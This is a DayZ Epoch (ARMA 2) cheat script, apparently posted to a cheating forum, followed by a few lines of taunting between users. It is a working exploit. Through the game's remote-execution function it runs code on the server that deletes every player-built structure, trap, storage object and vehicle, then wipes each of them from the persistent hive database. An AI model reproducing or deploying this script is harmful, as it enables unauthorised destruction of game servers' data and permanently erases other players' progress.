hippoWipeHive = {
hippoServerResponse = '';
_name = name player;
_hippohax = format ["
if (isServer) then {
hippoServerResponse = 'Failed';
{if (name _x == '%1') exitWith {hippoClientID = owner _x;};} count playableUnits;
hippoWiveHiveServer = {
_objsTotal = [];
{
_objs = allMissionObjects _x;
{
_objsTotal set [count _objsTotal,_x];
} count _objs;
} forEach [
'ModularItems','DZE_Housebase','BuiltItems','Land_ A_tent',
'OutHouse_DZ','Wooden_shed_DZ','WoodShack_DZ','Sto rageShed_DZ','GunRack_DZ','WoodCrate_DZ','Scaffold ing_DZ',
'TrapBear','Fence_corrugated_DZ','M240Nest_DZ','Ca nvasHut_DZ','ParkBench_DZ','MetalGate_DZ','Plastic _Pole_EP1_DZ',
'StickFence_DZ','LightPole_DZ','DesertCamoNet_DZ', 'ForestCamoNet_DZ','DesertLargeCamoNet_DZ','Forest LargeCamoNet_DZ',
'DeerStand_DZ','FireBarrel_DZ',
'DZ_buildables','WoodenGate_1','WoodenGate_2','Woo denGate_3','WoodenGate_4','Land_Fire_DZ','TentStor age_base',
'StashSmall_base','StashMedium_base','Wire_cat1',' Sandbag1_DZ','Fence_DZ','Generator_DZ','Hedgehog_D Z','BearTrap_DZ',
'CamoNet_DZ','Trap_Cans','TrapTripwireFlare','Trap BearTrapSmoke','TrapTripwireGrenade','TrapTripwire Smoke','TrapBearTrapFlare',
'Air','LandVehicle','Ship'
];
{
if (!isNull _x) then {
_objectID = _x getVariable['ObjectID','0'];
_objectUID = _x getVariable['ObjectUID','0'];
_type = typeOf _x;
deleteVehicle _x;
[_objectID,_objectUID,'0'] call server_deleteObj;
hippoServerResponse = 'Server Response: ' + str(_type) + ' ObjectID: ' + str(_objectID) + ' ObjectUID ' + str(_objectUID) + ' deleted from hive successfully!';
hippoClientID publicVariableClient 'hippoServerResponse';
uiSleep .1;
};
} count _objsTotal;
_objs = [];
_objsTotal = [];
};
};
",_name];
[_hippohax] call RE;
systemChat "Loading function on server please wait..";
uiSleep 2;
_hippohax = " if (isServer) then { [] spawn hippoWiveHiveServer; }; ";
[_hippohax] call RE;
systemChat "Preparing list of all hive objects, please wait..";
waitUntil {hippoServerResponse != ''};
_currentTime = time;
while {(time - _currentTime) < 600} do { // Exit loop after 10 minutes
_currentResponse = hippoServerResponse;
systemChat _currentResponse;
waitUntil {hippoServerResponse != _currentResponse};
};
};
Rustler : "Hippo got everything from monky and hangender "

gtfo named "opa m0nky style" to troll ofc. try again russy poo